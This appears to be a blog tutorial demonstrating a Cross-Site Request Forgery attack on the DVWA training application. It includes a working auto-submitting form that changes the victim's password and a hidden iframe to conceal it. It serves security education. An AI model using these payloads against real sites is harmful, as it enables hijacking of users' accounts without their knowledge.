Did you know that you can navigate the posts by swiping left and right?
Today we’ll see how Cross-Site Request Forgery (CSRF) attacks work. A successful CSRF starts with social engineering, since you need a victim to click on a malicious link, but we’ll skip this part and we’ll focus on the technical details of the attack. So, imagine a user that will click on every link you send them, what could go wrong? Well, the user will be authenticated in some websites, so what’s blocking us from issuing a request on her behalf? Nothing. And this is what CSRFs are about. Let’s jump on the CSRF section of DVWA:
It’s a password update page. Wouldn’t it be great if we could change the logged in user’s password? Let’s see how the request looks using Burp:
A simple GET request with two parameters, the new password and its verification. Let’s craft a page that will automatically trigger this request when it loads:
<!-- csrf.html--> <html> <body> <form action="http://127.0.0.1/dvwa/vulnerabilities/csrf/" method="GET" id="csrfForm" name="csrfForm"> <input name="password_new" value="password" /> <input name="password_conf" value="password" /> <input name="Change" value="Change" /> </form> <script> document.forms["csrfForm"].submit(); </script> </body> </html>
Now let’s open the csrf.html file in our browser (where we are already logged in DVWA):
The password was changed! The browser just saw a request to DVWA and loaded the user’s cookies, including the session id, which made our request completely legitimate. If we were not logged in DVWA, or if we were opening the csrf.html in a private window, then the attack wouldn’t work.
How can we improve this attack? Like it’s right now, the user will notice the loaded page and figure out that something phisy is going on. Well, let’s just hide the csrf.html in an invisible iframe:
<html> <body> <iframe src="file:///root/Desktop/csrf.html" style="display:none" /> </body> </html>
And let’s open it:
CSRF is powerful, but it’s not a common vulnerability since all the web frameworks are taking care of it automatically (by adding a CSRF token, that needs to be included in the POST requests), but it’s a useful attack to be aware of and it can always be used in combination on top of an XSS attack.